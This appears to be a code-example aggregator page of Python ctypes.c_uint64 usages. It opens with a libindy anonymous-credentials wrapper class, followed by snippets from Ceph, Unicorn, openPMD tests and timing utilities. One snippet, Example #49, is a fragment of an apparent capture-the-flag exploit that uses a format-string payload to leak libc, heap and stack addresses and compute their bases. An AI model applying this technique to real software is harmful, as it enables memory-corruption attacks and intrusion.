class Anoncreds:
    """A class containing all functions about credential management.
    ------------------------------------------------------------------------
    Anoncreds (Anonymous Credentials) is a collection of functions that
    define the workflows to create and manage credentials and related
    entities.
    """

    @staticmethod
    @LibindyCommand('indy_issuer_create_schema')
    async def create_schema(
            issuer_schema_did: str,
            schema_name: str,
            schema_version: str,
            schema_attributes: Union[list, str]
    ) -> (str, dict):
        """Creates a new credential schema.
        -----------------------------------------------------------------------
        Schemas describe the attribute list of a credential definition.

        Schemas are public entities and should therefore be published on the
        ledger with a SCHEMA transaction.
        -----------------------------------------------------------------------
        :param issuer_schema_did: str - A DID from the schema issuer's wallet
        :param schema_name: str - A name for the schema
        :param schema_version: str - The version of the schema
        :param schema_attributes: list, str - A list of schema attribute names
            ->  Needs to have at least 1, at most 125 entries
        -----------------------------------------------------------------------
        :returns: (
            schema_id: str - The ID of the newly created schema
            schema: dict - The newly created schema
        )
        """
        pass

    @staticmethod
    @LibindyCommand('indy_issuer_create_and_store_credential_def')
    async def create_credential_definition(
            wallet_handle: int,
            cred_def_did: str,
            cred_def_schema: Union[dict, str],
            cred_def_tag: str,
            cred_def_type: Optional[str],
            cred_def_type_config: Optional[Union[dict, str]]
    ) -> (str, dict):
        """Creates a new credential definition.
        -----------------------------------------------------------------------
        Credential definitions (CRED-DEFs) contain the credential schema,
        credential issuer DID and credential signing and revocation secrets.

        A credential definition consists of a private and a public part. The
        private part contains the signing and revocation secrets and will never
        leave the issuer wallet. The public part should be published on the
        ledger by sending a CRED_DEF request.

        The cred_def_schema NEEDS to be fetched from the ledger, as it requires
        a sequence number (seqNo) that is assigned to the schema when it is
        published.
        -----------------------------------------------------------------------
        :param wallet_handle: int - The handle to the open target wallet
        :param cred_def_did: str - A DID from the cred-def issuer's wallet
        :param cred_def_schema: dict, str - A credential schema
        :param cred_def_tag: str - A tag for the cred-def
            ->  Allows distinction between multiple credential definitions
                using the same schema
        :param cred_def_type: str - The type of the credential definition
            ->  Credential definition types define the signature and revocation
                math.
            Supported types:
                -   "CL" (Camenisch-Lysyanskaya)
            Default: "CL"
        :param cred_def_type_config: dict, str - Configurations for the
            specified credential definition type
            {
                CL: dict - The name of the credential definition type
                {
                    support_revocation: bool - Whether the credential
                        definition should support credential revocation
                        ->  Default: False
                }
            }
        -----------------------------------------------------------------------
        :returns: (
            cred_def_id: str - The ID of the newly created credential
                definition
            cred_def: dict - The public part of the newly created credential
                definition
        )
        -----------------------------------------------------------------------
        :raises CredentialDefinitionAlreadyExistsError: There already exists a
            credential definition in the target wallet that uses that DID /
            schema combination
        """
        pass

    @staticmethod
    @LibindyCommand('indy_issuer_create_and_store_revoc_reg')
    async def create_revocation_registry(
            wallet_handle: int,
            revoc_reg_did: str,
            revoc_reg_type: Optional[str],
            revoc_reg_tag: str,
            revoc_reg_cred_def_id: str,
            revoc_reg_config: Union[dict, str],
            tails_writer_handle: int
    ) -> (str, dict, dict):
        """Creates a new revocation registry for a credential definition.
        -----------------------------------------------------------------------

        -----------------------------------------------------------------------
        :param wallet_handle: int - The handle to the open target wallet
        :param revoc_reg_did: str - A DID from the revoc-reg issuer's wallet
        :param revoc_reg_type: str -
        :param revoc_reg_tag:
        :param revoc_reg_cred_def_id:
        :param revoc_reg_config:
        :param tails_writer_handle:
        -----------------------------------------------------------------------
        :returns:
        """
        pass

    @staticmethod
    @LibindyCommand('indy_issuer_create_credential_offer')
    async def create_credential_offer(
            wallet_handle: int,
            cred_def_id: str
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_issuer_create_credential')
    async def create_credential(
            wallet_handle: int,
            cred_offer: Union[dict, str],
            cred_request: Union[dict, str],
            cred_values: Union[dict, str],
            revoc_reg_id: Optional[str],
            tails_reader_handle: Optional[int]
    ) -> (dict, Optional[str], Optional[dict]):
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_issuer_revoke_credential')
    async def revoke_credential(
            wallet_handle: int,
            tails_reader_handle: int,
            revoc_reg_id: str,
            cred_revoc_id: str
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_issuer_merge_revocation_registry_deltas')
    async def merge_revocation_registry_deltas(
            revoc_reg_delta_1: Union[dict, str],
            revoc_reg_delta_2: Union[dict, str]
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_create_master_secret')
    async def create_master_secret(
            wallet_handle: int,
            master_secret_name: Optional[str]
    ) -> str:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_create_credential_req')
    async def create_credential_request(
            wallet_handle: int,
            cred_req_did: str,
            cred_offer: Union[dict, str],
            cred_def: Union[dict, str],
            master_secret_id: str
    ) -> (dict, dict):
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_store_credential')
    async def store_credential(
            wallet_handle: int,
            cred_id: Optional[str],
            cred_req_metadata: Union[dict, str],
            cred: Union[dict, str],
            cred_def: Union[dict, str],
            revoc_reg_def: Optional[Union[dict, str]]
    ) -> str:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_get_credential')
    async def get_credential_by_id(
            wallet_handle: int,
            cred_id: str
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_get_credentials')
    async def get_credentials(
            wallet_handle: int,
            credential_filter: Union[dict, str]
    ) -> list:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_get_credentials_for_proof_req')
    async def fetch_credentials_for_proof_request(
            wallet_handle: int,
            proof_req: Union[dict, str]
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_search_credentials',
                    return_type=(c_int32, c_uint))
    async def open_credential_search(
            wallet_handle: int,
            cred_search_queries: Union[dict, str]
    ) -> (int, int):
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_fetch_credentials',
                    cred_count=lambda arg: c_uint(arg))
    async def get_credentials_from_search(
            search_handle: int,
            cred_count: int
    ) -> list:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_close_credentials_search')
    async def close_credential_search(
            search_handle: int
    ):
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_search_credentials_for_proof_req')
    async def open_proof_request_search(
            wallet_handle: int,
            proof_req: Union[dict, str],
            cred_search_queries: Union[dict, str]
    ) -> int:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_fetch_credentials_for_proof_req',
                    cred_count=lambda arg: c_uint(arg))
    async def get_credentials_from_proof_request_search(
            search_handle: int,
            item_id: str,
            cred_count: int
    ) -> list:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_close_credentials_search_for_proof_req')
    async def close_proof_request_search(
            search_handle: int
    ):
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_prover_create_proof')
    async def create_proof(
            wallet_handle: int,
            proof_req: Union[dict, str],
            proof_creds: Union[dict, str],
            master_secret_name: str,
            proof_schemas: Union[dict, str],
            proof_cred_defs: Union[dict, str],
            proof_revoc_states: Union[dict, str]
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_verifier_verify_proof')
    async def verify_proof(
            proof_req: Union[dict, str],
            proof: Union[dict, str],
            proof_schemas: Union[dict, str],
            proof_cred_defs: Union[dict, str],
            proof_revoc_reg_defs: Union[dict, str],
            proof_revoc_regs: Union[dict, str]
    ) -> bool:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_create_revocation_state',
                    timestamp=lambda arg: c_uint64(arg))
    async def create_revocation_state(
            tails_reader_handle: int,
            revoc_reg_defs: Union[dict, str],
            revoc_reg_delta: Union[dict, str],
            timestamp: int,
            cred_revoc_id: str
    ) -> dict:
        """"""
        pass

    @staticmethod
    @LibindyCommand('indy_update_revocation_state',
                    timestamp=lambda arg: c_uint64(arg))
    async def update_revocation_state(
            tails_reader_handle: int,
            revoc_state: Union[dict, str],
            revoc_reg_def: Union[dict, str],
            revoc_reg_delta: Union[dict, str],
            timestamp: int,
            cred_revoc_id: str
    ) -> dict:
        """"""
        pass
Example #45
0
 def set_value_uint64(self, value: int):
     lib.ipap_value_field_set_value_int64(self.obj, c_uint64(value))
Example #46
0
 def ping(self, serviceLocator, nonce, nanoseconds):
     result = ctypes.c_uint64()
     s = so.rc_ping(self.client, serviceLocator, nonce, nanoseconds,
                    ctypes.byref(result))
     self.handle_error(s)
     return result
Example #47
0
    def _to_fs_entry(self, fs_config, out_file):
        """Converts an FSConfig entry to an fs entry.

        Writes the fs_config contents to the output file.

        Calls sys.exit() on error.

        Args:
            fs_config (FSConfig): The entry to convert to write to file.
            file (File): The file to write to.
        """

        # Get some short names
        mode = fs_config.mode
        user = fs_config.user
        group = fs_config.group
        caps = fs_config.caps
        path = fs_config.path

        emsg = 'Cannot convert "%s" to identifier!'

        # convert mode from octal string to integer
        mode = int(mode, 8)

        # remap names to values
        if AID.is_friendly(user):
            if user not in self._friendly_to_aid:
                sys.exit(emsg % user)
            user = self._friendly_to_aid[user].value
        else:
            if user not in self._id_to_aid:
                sys.exit(emsg % user)
            user = self._id_to_aid[user].value

        if AID.is_friendly(group):
            if group not in self._friendly_to_aid:
                sys.exit(emsg % group)
            group = self._friendly_to_aid[group].value
        else:
            if group not in self._id_to_aid:
                sys.exit(emsg % group)
            group = self._id_to_aid[group].value

        caps_dict = self._capability_parser.caps

        caps_value = 0

        try:
            # test if caps is an int
            caps_value = int(caps, 0)
        except ValueError:
            caps_split = caps.split(',')
            for cap in caps_split:
                if cap not in caps_dict:
                    sys.exit('Unkonwn cap "%s" found!' % cap)
                caps_value += 1 << caps_dict[cap]

        path_length_with_null = len(path) + 1
        path_length_aligned_64 = (path_length_with_null + 7) & ~7
        # 16 bytes of header plus the path length with alignment
        length = 16 + path_length_aligned_64

        length_binary = bytearray(ctypes.c_uint16(length))
        mode_binary = bytearray(ctypes.c_uint16(mode))
        user_binary = bytearray(ctypes.c_uint16(int(user, 0)))
        group_binary = bytearray(ctypes.c_uint16(int(group, 0)))
        caps_binary = bytearray(ctypes.c_uint64(caps_value))
        path_binary = ctypes.create_string_buffer(path,
                                                  path_length_aligned_64).raw

        out_file.write(length_binary)
        out_file.write(mode_binary)
        out_file.write(user_binary)
        out_file.write(group_binary)
        out_file.write(caps_binary)
        out_file.write(path_binary)
Example #48
0
def asn_counter64(value):
    value = c_uint64(value)
    return byref(value), sizeof(value)
Example #49
0
    # brute forcing addr of system
    fmt_str_target = p64(0x6011b8) * 2
    p.writeline("5AAAAAAA" + fmt_str_target)

    data = p.recv()
    try:
        print data
        data = data.split("\n")

        print data
        data = data[-2].split(".")

        print data

        libc_leak = ctypes.c_uint64(int(data[1], 16)).value

        heap_leak = ctypes.c_uint64(int(data[6], 16)).value

        stack_leak = ctypes.c_uint64(int(data[-2], 16)).value

        libc_base = libc_leak - 3954560
        heap_base = heap_leak - 0xa0
        stack_base = stack_leak - 131296
        print len(data)
        print "libc base =", hex(libc_base)
        print "heap base =", hex(heap_base)
        print "stack base =", hex(stack_base)
        p.interactive()
    except:
        p.close()
Example #50
0
def CalcAbsoluteAddress(instruction: Instruction, operand: Operand) -> typing.Tuple[Status, int]:
    address = c_uint64()
    status = Status(_zydis.ZydisCalcAbsoluteAddress(pointer(instruction), operand, address))

    return (status, address.value)
Example #51
0
 def AddColumn(self, cf, qu):
     lib.tera_scan_descriptor_add_column(self.desc, cf,
                                         qu, c_uint64(len(qu)))
Example #52
0
 def _monotonic_time_nanos_cygwin():
     perf_counter = ctypes.c_uint64()
     k32.QueryPerformanceCounter(ctypes.byref(perf_counter))
     return perf_counter.value * NSEC_PER_SEC / perf_frequency.value
Example #53
0
 def clearFlag(self, val):
     if self.isFlagSet(val):
         bitmask = (ctypes.c_uint64(1).value << (val - 1))
         self.flags -= bitmask
Example #54
0
 def get_instruction_containing_address(self,
                                        addr: int) -> Tuple[bool, int]:
     start = ctypes.c_uint64()
     ret: bool = core.BNGetBasicBlockInstructionContainingAddress(
         self.handle, addr, start)
     return ret, start.value
Example #55
0
    def attributeRoundTrip(self, file_ending):
        # write
        series = api.Series(
            "unittest_py_API." + file_ending,
            api.Access_Type.create
        )

        # write one of each supported types
        series.set_attribute("char", 'c')  # string
        series.set_attribute("pyint", 13)
        series.set_attribute("pyfloat", 3.1416)
        series.set_attribute("pystring", "howdy!")
        series.set_attribute("pystring2", str("howdy, too!"))
        series.set_attribute("pystring3", b"howdy, again!")
        series.set_attribute("pybool", False)

        # array of ...
        series.set_attribute("arr_pyint", (13, 26, 39, 52, ))
        series.set_attribute("arr_pyfloat", (1.2, 3.4, 4.5, 5.6, ))
        series.set_attribute("arr_pystring", ("x", "y", "z", "www", ))
        series.set_attribute("arr_pybool", (False, True, True, False, ))
        # list of ...
        series.set_attribute("l_pyint", [13, 26, 39, 52])
        series.set_attribute("l_pyfloat", [1.2, 3.4, 4.5, 5.6])
        series.set_attribute("l_pystring", ["x", "y", "z", "www"])
        series.set_attribute("l_pybool", [False, True, True, False])

        if found_numpy:
            series.set_attribute("int16", np.int16(234))
            series.set_attribute("int32", np.int32(43))
            series.set_attribute("int64", np.int64(987654321))
            series.set_attribute("uint16", np.uint16(134))
            series.set_attribute("uint32", np.uint32(32))
            series.set_attribute("uint64", np.int64(9876543210))
            series.set_attribute("single", np.single(1.234))
            series.set_attribute("double", np.double(1.234567))
            series.set_attribute("longdouble", np.longdouble(1.23456789))
            # array of ...
            series.set_attribute("arr_int16", (np.int16(23), np.int16(26), ))
            series.set_attribute("arr_int32", (np.int32(34), np.int32(37), ))
            series.set_attribute("arr_int64", (np.int64(45), np.int64(48), ))
            series.set_attribute("arr_uint16",
                                 (np.uint16(23), np.uint16(26), ))
            series.set_attribute("arr_uint32",
                                 (np.uint32(34), np.uint32(37), ))
            series.set_attribute("arr_uint64",
                                 (np.uint64(45), np.uint64(48), ))
            series.set_attribute("arr_single",
                                 (np.single(5.6), np.single(5.9), ))
            series.set_attribute("arr_double",
                                 (np.double(6.7), np.double(7.1), ))
            # list of ...
            series.set_attribute("l_int16", [np.int16(23), np.int16(26)])
            series.set_attribute("l_int32", [np.int32(34), np.int32(37)])
            series.set_attribute("l_int64", [np.int64(45), np.int64(48)])
            series.set_attribute("l_uint16", [np.uint16(23), np.uint16(26)])
            series.set_attribute("l_uint32", [np.uint32(34), np.uint32(37)])
            series.set_attribute("l_uint64", [np.uint64(45), np.uint64(48)])
            series.set_attribute("l_single", [np.single(5.6), np.single(5.9)])
            series.set_attribute("l_double", [np.double(6.7), np.double(7.1)])
            series.set_attribute("l_longdouble",
                                 [np.longdouble(7.8e9), np.longdouble(8.2e3)])
            # numpy.array of ...
            series.set_attribute("nparr_int16",
                                 np.array([234, 567], dtype=np.int16))
            series.set_attribute("nparr_int32",
                                 np.array([456, 789], dtype=np.int32))
            series.set_attribute("nparr_int64",
                                 np.array([678, 901], dtype=np.int64))
            series.set_attribute("nparr_single",
                                 np.array([1.2, 2.3], dtype=np.single))
            series.set_attribute("nparr_double",
                                 np.array([4.5, 6.7], dtype=np.double))
            series.set_attribute("nparr_longdouble",
                                 np.array([8.9, 7.6], dtype=np.longdouble))

        # c_types
        # TODO remove the .value and handle types directly?
        series.set_attribute("byte_c", ctypes.c_byte(30).value)
        series.set_attribute("ubyte_c", ctypes.c_ubyte(50).value)
        series.set_attribute("char_c", ctypes.c_char(100).value)  # 'd'
        series.set_attribute("int16_c", ctypes.c_int16(2).value)
        series.set_attribute("int32_c", ctypes.c_int32(3).value)
        series.set_attribute("int64_c", ctypes.c_int64(4).value)
        series.set_attribute("uint16_c", ctypes.c_uint16(5).value)
        series.set_attribute("uint32_c", ctypes.c_uint32(6).value)
        series.set_attribute("uint64_c", ctypes.c_uint64(7).value)
        series.set_attribute("float_c", ctypes.c_float(8.e9).value)
        series.set_attribute("double_c", ctypes.c_double(7.e289).value)
        # TODO init of > e304 ?
        series.set_attribute("longdouble_c", ctypes.c_longdouble(6.e200).value)

        del series

        # read back
        series = api.Series(
            "unittest_py_API." + file_ending,
            api.Access_Type.read_only
        )

        self.assertEqual(series.get_attribute("char"), "c")
        self.assertEqual(series.get_attribute("pystring"), "howdy!")
        self.assertEqual(series.get_attribute("pystring2"), "howdy, too!")
        self.assertEqual(bytes(series.get_attribute("pystring3")),
                         b"howdy, again!")
        self.assertEqual(series.get_attribute("pyint"), 13)
        self.assertAlmostEqual(series.get_attribute("pyfloat"), 3.1416)
        self.assertEqual(series.get_attribute("pybool"), False)

        if found_numpy:
            self.assertEqual(series.get_attribute("int16"), 234)
            self.assertEqual(series.get_attribute("int32"), 43)
            self.assertEqual(series.get_attribute("int64"), 987654321)
            self.assertAlmostEqual(series.get_attribute("single"), 1.234)
            self.assertAlmostEqual(series.get_attribute("double"),
                                   1.234567)
            self.assertAlmostEqual(series.get_attribute("longdouble"),
                                   1.23456789)
            # array of ... (will be returned as list)
            self.assertListEqual(series.get_attribute("arr_int16"),
                                 [np.int16(23), np.int16(26), ])
            # list of ...
            self.assertListEqual(series.get_attribute("l_int16"),
                                 [np.int16(23), np.int16(26)])
            self.assertListEqual(series.get_attribute("l_int32"),
                                 [np.int32(34), np.int32(37)])
            self.assertListEqual(series.get_attribute("l_int64"),
                                 [np.int64(45), np.int64(48)])
            self.assertListEqual(series.get_attribute("l_uint16"),
                                 [np.uint16(23), np.uint16(26)])
            self.assertListEqual(series.get_attribute("l_uint32"),
                                 [np.uint32(34), np.uint32(37)])
            self.assertListEqual(series.get_attribute("l_uint64"),
                                 [np.uint64(45), np.uint64(48)])
            # self.assertListEqual(series.get_attribute("l_single"),
            #     [np.single(5.6), np.single(5.9)])
            self.assertListEqual(series.get_attribute("l_double"),
                                 [np.double(6.7), np.double(7.1)])
            self.assertListEqual(series.get_attribute("l_longdouble"),
                                 [np.longdouble(7.8e9), np.longdouble(8.2e3)])

            # numpy.array of ...
            self.assertListEqual(series.get_attribute("nparr_int16"),
                                 [234, 567])
            self.assertListEqual(series.get_attribute("nparr_int32"),
                                 [456, 789])
            self.assertListEqual(series.get_attribute("nparr_int64"),
                                 [678, 901])
            np.testing.assert_almost_equal(
                series.get_attribute("nparr_single"), [1.2, 2.3])
            np.testing.assert_almost_equal(
                series.get_attribute("nparr_double"), [4.5, 6.7])
            np.testing.assert_almost_equal(
                series.get_attribute("nparr_longdouble"), [8.9, 7.6])
            # TODO instead of returning lists, return all arrays as np.array?
            # self.assertEqual(
            #     series.get_attribute("nparr_int16").dtype, np.int16)
            # self.assertEqual(
            #     series.get_attribute("nparr_int32").dtype, np.int32)
            # self.assertEqual(
            #     series.get_attribute("nparr_int64").dtype, np.int64)
            # self.assertEqual(
            #     series.get_attribute("nparr_single").dtype, np.single)
            # self.assertEqual(
            #     series.get_attribute("nparr_double").dtype, np.double)
            # self.assertEqual(
            #    series.get_attribute("nparr_longdouble").dtype, np.longdouble)

        # c_types
        self.assertEqual(series.get_attribute("byte_c"), 30)
        self.assertEqual(series.get_attribute("ubyte_c"), 50)
        self.assertEqual(chr(series.get_attribute("char_c")), 'd')
        self.assertEqual(series.get_attribute("int16_c"), 2)
        self.assertEqual(series.get_attribute("int32_c"), 3)
        self.assertEqual(series.get_attribute("int64_c"), 4)
        self.assertEqual(series.get_attribute("uint16_c"), 5)
        self.assertEqual(series.get_attribute("uint32_c"), 6)
        self.assertEqual(series.get_attribute("uint64_c"), 7)
        self.assertAlmostEqual(series.get_attribute("float_c"), 8.e9)
        self.assertAlmostEqual(series.get_attribute("double_c"), 7.e289)
        self.assertAlmostEqual(series.get_attribute("longdouble_c"),
                               ctypes.c_longdouble(6.e200).value)
Example #56
0
File: rbd.py Project: vieop/ceph
 def overlap(self):
     overlap = c_uint64()
     ret = self.librbd.rbd_get_overlap(self.image, byref(overlap))
     if (ret != 0):
         raise make_ex(ret, 'error getting overlap for image' % (self.name))
     return overlap.value
Example #57
0
 def isFlagSet(self, val):
     return ((self.flags & (ctypes.c_uint64(1).value << (val - 1))) > 0)
Example #58
0
 def inject(name, val):
     symbol_name = "_numba_hashsecret_{}".format(name)
     val = ctypes.c_uint64(val)
     addr = ctypes.addressof(val)
     ll.add_symbol(symbol_name, addr)
     info[name] = _hashsecret_entry(symbol=symbol_name, value=val)
Example #59
0
    def hook_add(self, htype, callback, user_data=None, begin=1, end=0, arg1=0):
        _h2 = uc_hook_h()

        # save callback & user_data
        self._callback_count += 1
        self._callbacks[self._callback_count] = (callback, user_data)
        cb = None

        if htype == uc.UC_HOOK_INSN:
            insn = ctypes.c_int(arg1)
            if arg1 == x86_const.UC_X86_INS_IN:  # IN instruction
                cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB)
            if arg1 == x86_const.UC_X86_INS_OUT:  # OUT instruction
                cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB)
            if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER):  # SYSCALL/SYSENTER instruction
                cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb,
                ctypes.cast(self._callback_count, ctypes.c_void_p),
                ctypes.c_uint64(begin), ctypes.c_uint64(end), insn
            )
        elif htype == uc.UC_HOOK_INTR:
            cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb,
                ctypes.cast(self._callback_count, ctypes.c_void_p),
                ctypes.c_uint64(begin), ctypes.c_uint64(end)
            )
        else:
            if htype in (uc.UC_HOOK_BLOCK, uc.UC_HOOK_CODE):
                # set callback with wrapper, so it can be called
                # with this object as param
                cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB)
                status = _uc.uc_hook_add(
                    self._uch, ctypes.byref(_h2), htype, cb,
                    ctypes.cast(self._callback_count, ctypes.c_void_p),
                    ctypes.c_uint64(begin), ctypes.c_uint64(end)
                )
            elif htype & (uc.UC_HOOK_MEM_READ_UNMAPPED |
                          uc.UC_HOOK_MEM_WRITE_UNMAPPED |
                          uc.UC_HOOK_MEM_FETCH_UNMAPPED |
                          uc.UC_HOOK_MEM_READ_PROT |
                          uc.UC_HOOK_MEM_WRITE_PROT |
                          uc.UC_HOOK_MEM_FETCH_PROT):
                cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB)
                status = _uc.uc_hook_add(
                    self._uch, ctypes.byref(_h2), htype, cb,
                    ctypes.cast(self._callback_count, ctypes.c_void_p),
                    ctypes.c_uint64(begin), ctypes.c_uint64(end)
                )
            else:
                cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB)
                status = _uc.uc_hook_add(
                    self._uch, ctypes.byref(_h2), htype, cb,
                    ctypes.cast(self._callback_count, ctypes.c_void_p),
                    ctypes.c_uint64(begin), ctypes.c_uint64(end)
                )

        # save the ctype function so gc will leave it alone.
        self._ctype_cbs[self._callback_count] = cb

        if status != uc.UC_ERR_OK:
            raise UcError(status)

        return _h2.value
Example #60
0
    mach_timebase_info.argtypes = [ctypes.POINTER(struct_mach_timebase_info)]
    mach_ti = struct_mach_timebase_info()
    ret = mach_timebase_info(ctypes.byref(mach_ti))
    if ret != KERN_SUCCESS:
        raise Exception("Could not get mach_timebase_info, error: " + str(ret))
    mach_absolute_time = libSystem.mach_absolute_time
    mach_absolute_time.restype = ctypes.c_uint64

    def _monotonic_time_nanos_darwin():
        return (mach_absolute_time() * mach_ti.numer) / mach_ti.denom

    monotonic_time_nanos = _monotonic_time_nanos_darwin
elif platform.system() == "Windows":
    # From <Winbase.h>
    perf_frequency = ctypes.c_uint64()
    ctypes.windll.kernel32.QueryPerformanceFrequency(
        ctypes.byref(perf_frequency))

    def _monotonic_time_nanos_windows():
        perf_counter = ctypes.c_uint64()
        ctypes.windll.kernel32.QueryPerformanceCounter(
            ctypes.byref(perf_counter))
        return perf_counter.value * NSEC_PER_SEC / perf_frequency.value

    monotonic_time_nanos = _monotonic_time_nanos_windows
elif sys.platform == "cygwin":
    k32 = ctypes.CDLL("Kernel32", use_errno=True)
    perf_frequency = ctypes.c_uint64()
    k32.QueryPerformanceFrequency(ctypes.byref(perf_frequency))